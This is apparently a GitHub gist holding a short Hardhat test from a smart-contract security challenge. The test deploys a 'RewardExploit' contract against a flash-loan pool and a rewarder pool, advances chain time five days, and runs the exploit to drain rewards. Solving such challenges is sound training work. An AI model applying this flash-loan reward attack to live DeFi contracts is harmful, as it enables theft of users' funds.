Created
January 29, 2023 08:19
-
-
Save az0mb13/15670c59a9593577ebd77d017eec65c9 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
it('Exploit', async function () { | |
const RewardExploit = await ethers.getContractFactory('RewardExploit', attacker); | |
const exploit = await RewardExploit.deploy(attacker.address, this.flashLoanPool.address, this.liquidityToken.address, this.rewarderPool.address, this.rewardToken.address); | |
await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]); // 5 days | |
await exploit.exploit(TOKENS_IN_LENDER_POOL); | |
}); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment